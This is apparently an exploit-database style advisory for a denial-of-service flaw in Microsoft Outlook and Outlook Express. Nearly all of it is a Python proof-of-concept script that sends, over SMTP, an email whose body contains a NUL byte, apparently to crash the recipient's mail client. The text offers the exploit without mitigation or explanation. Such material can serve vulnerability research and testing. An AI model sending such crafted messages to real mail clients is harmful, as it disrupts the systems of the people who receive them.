Microsoft Outlook/Outlook Express Remote Denial Of Service Vulnerability

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Microsoft Outlook/Outlook Express Remote Denial Of Service Vulnerability

The following proof of concept python script exploit has been supplied:

import smtplib
from_address = "nobody@example.com"
to_address = "nobody@example.com"
message = "Before\r\n\000\r\nAfter"
smtp = smtplib.SMTP("localhost")
smtp.set_debuglevel(1)
smtp.sendmail(from_address, [to_address], message)
smtp.quit()